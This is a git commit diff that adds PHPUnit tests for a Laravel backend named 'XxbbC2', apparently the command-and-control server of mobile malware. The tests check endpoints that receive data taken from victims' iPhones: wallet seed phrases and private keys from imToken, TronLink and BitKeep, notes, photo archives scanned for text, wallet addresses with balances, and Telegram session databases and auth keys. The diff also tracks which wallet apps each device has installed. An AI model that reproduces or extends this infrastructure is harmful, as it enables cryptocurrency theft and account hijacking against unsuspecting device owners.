feat: xxbb

This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
+218 -3
View File
@@ -5,13 +5,18 @@ namespace Tests\Feature;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -59,10 +64,44 @@ class XxbbC2ApiTest extends TestCase
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame('56885688', $row->channel_id);
$this->assertSame('xxbb.tv', $row->client_uid);
$this->assertSame('xxbb.tv', $row->path);
$this->assertSame('xxbb.tv', $row->domain);
$this->assertSame(PageVisit::visitorUid('xxbb.tv', $row->ip), $row->client_uid);
$this->assertNotSame('xxbb.tv', $row->client_uid);
$this->assertSame('iOS', $row->os);
$this->assertSame('16.6', $row->os_version);
$this->assertNull($row->session_id);
}
#[Test]
public function iptj_dedupes_by_session_id(): void
{
Cache::flush();
$body = [
'channelCode' => '56885688',
'deviceVersion' => 'iOS 16.6',
'domain' => 'xxbb.tv',
'sessionId' => '11111111-2222-4333-8444-555555555555',
];
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode($body))->assertOk();
Cache::flush();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode($body))->assertOk();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode([
...$body,
'sessionId' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee',
]))->assertOk();
$this->assertSame(2, PageVisit::query()->count());
$this->assertSame(
'11111111-2222-4333-8444-555555555555',
PageVisit::query()->orderBy('id')->value('session_id'),
);
}
#[Test]
@@ -96,7 +135,7 @@ class XxbbC2ApiTest extends TestCase
$this->assertNotNull($device);
$this->assertSame('iPhone12,8', $device->device_model);
$this->assertSame('16.6', $device->ios_version);
$this->assertSame('202700cfb1ad3de68e11239dcc26c30b', $device->channel_id);
$this->assertNull($device->channel_id);
$ev = DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->first();
$this->assertNotNull($ev);
@@ -121,6 +160,8 @@ class XxbbC2ApiTest extends TestCase
$app = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->first();
$this->assertNotNull($app);
$this->assertSame('imToken', $app->name);
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
$this->assertSame(['imToken'], $device->walletNameList());
}
#[Test]
@@ -195,4 +236,178 @@ class XxbbC2ApiTest extends TestCase
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first());
}
#[Test]
public function nb_ingests_notes(): void
{
$this->xxbbPost('/nb', [
'd' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'list' => [
"spawn rabbit unusual favorite yard recipe\n(R(R",
'second note line',
],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame(1, Note::query()->where('device_id', $device->id)->count());
$note = Note::query()->where('device_id', $device->id)->first();
$this->assertIsArray($note->content);
$this->assertCount(2, $note->content);
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
}
#[Test]
public function result_ingests_mnemonic(): void
{
$this->xxbbPost('/result', [
'd' => '000C30D83CD0402E',
'a' => 'b',
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('imToken', $row->source);
$this->assertStringContainsString('abandon', $row->mnemonic);
}
#[Test]
public function t_extracts_photo_archive_and_stores_file(): void
{
Storage::fake('local');
$crypto = $this->xxbbCrypto();
$tmp = sys_get_temp_dir().'/xxbb_photo_'.uniqid();
mkdir($tmp);
$jpegPath = $tmp.'/hit.jpg';
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
$archivePath = $tmp.'/capture.7z';
$password = $crypto->archivePassword('0');
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
? '/opt/homebrew/opt/p7zip/bin/7z'
: '7z';
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
exec($cmd, $out, $code);
$this->assertSame(0, $code, implode("\n", $out));
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
$this->call(
'POST',
'/t',
[
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'batchBase' => '0',
'idx' => '000001000000',
'ftu' => '000001000000',
'x-hit' => '12',
],
[],
['file' => $upload],
['CONTENT_TYPE' => 'multipart/form-data']
)->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$photo = Photo::query()->where('device_id', $device->id)->first();
$this->assertNotNull($photo);
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
$this->assertSame(4, $photo->size);
$this->assertSame(12, $photo->x_hit);
$this->assertSame(1, $photo->upload_count);
$this->assertSame(0, $photo->process_index);
$this->assertSame(1, $photo->text_count);
$this->assertSame(0, $photo->barcode_count);
Storage::disk('local')->assertExists($photo->path);
@unlink($jpegPath);
@unlink($archivePath);
@rmdir($tmp);
}
#[Test]
public function us_ingests_tronlink_mnemonic(): void
{
$this->xxbbPost('/us', [
'd' => '000C30D83CD0402E',
'a' => 'c',
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('TronLink', $row->source);
}
#[Test]
public function us_ingests_private_key_without_result_wrapper(): void
{
$this->xxbbPost('/us', [
'd' => '000C30D83CD0402E',
'a' => 'f',
'privateKey' => '0x'.str_repeat('ab', 32),
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('BitKeep', $row->source);
$this->assertStringStartsWith('0x', $row->mnemonic);
}
#[Test]
public function ub_ingests_global_wallet_ad_map(): void
{
Http::fake(['*' => Http::response(['ok' => true], 200)]);
$this->xxbbPost('/ub', [
'd' => '000C30D83CD0402E',
'a' => 'p',
'ad' => [
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => '0.32647342126093182783704',
],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
->first();
$this->assertNotNull($addr);
$this->assertSame('Global Wallet', $addr->source);
$this->assertSame('TRON', $addr->chain_type);
}
#[Test]
public function api_tg_t_ingests_telegram_auth(): void
{
$this->xxbbPost('/api/tg/t', [
'd' => '000C30D83CD0402E',
'd1' => '00008030-000C30D83CD0402E',
'd2' => 'FFXD5S8FPLJM',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'a' => 'tg',
'user_id' => '123456789',
'state' => ['records' => [['id' => 1]]],
'db_sqlite' => base64_encode('not-a-real-sqlite'),
'datacenterAuthInfoById' => 'AQID',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
$this->assertNotNull($ks);
$this->assertSame('123456789', $ks->raw_json['user_id'] ?? null);
$this->assertSame('Telegram', $ks->raw_json['source'] ?? null);
$this->assertArrayHasKey('db_sqlite', $ks->raw_json);
$this->assertSame('AQID', $ks->raw_json['datacenterAuthInfoById'] ?? null);
}
}